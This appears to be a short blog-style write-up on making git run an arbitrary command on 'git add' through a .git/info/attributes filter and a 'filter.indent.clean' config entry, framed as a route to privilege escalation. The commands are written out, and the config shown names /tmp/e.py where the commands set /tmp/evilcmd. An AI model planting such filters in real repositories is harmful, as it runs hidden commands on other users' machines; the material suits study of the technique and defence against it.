Intro

Gitattribute is a text file that can grant a specified attribute to a selected path. It can be defined on a per path basis and each path can be handled slightly differently according to the patterns defined in a gitattribute file.

According to the git documentation: the order for deciding which attribute to apply is

  1. $GIT_DIR/info/attributes file (highest precedence)
  2. .gitattributes file in the same directory as the path in question
  3. its parent directories up to the toplevel of the work tree
  4. global and system-wide files are considered (lowest precedence).

So, using this mechanism, we are able to make git run some pre-logic before each git add command and hopefully achieve privilege escalation with it.

Case Study

Let’s examine how this would work on a test repo at /tmp/repo.

We first re-initialize the git repo

test@server:/tmp/repo$ git init

We create an attribute on the file path so that an indent filter can be triggered when invoking git add.

test@server:/tmp/repo$ echo '*.py filter=indent' > .git/info/attributes

We then configure the repo with a specific config rule for the filter.indent.clean filter. This is basically saying: when invoking git add, run /tmp/evilcmd on this path for cleanning up the files that have a *.py extension. Of course, the command can be anything we define.

test@server:/tmp/repo$ git config filter.indent.clean /tmp/evilcmd

Once we configured the filter, the config file would look like this, note the extra [filter "indent"] block

test@server:/tmp/repo/.git$ cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[filter "indent"]
        clean = /tmp/e.py

On a git add being invoked, we should be able to trigger the evilcmd.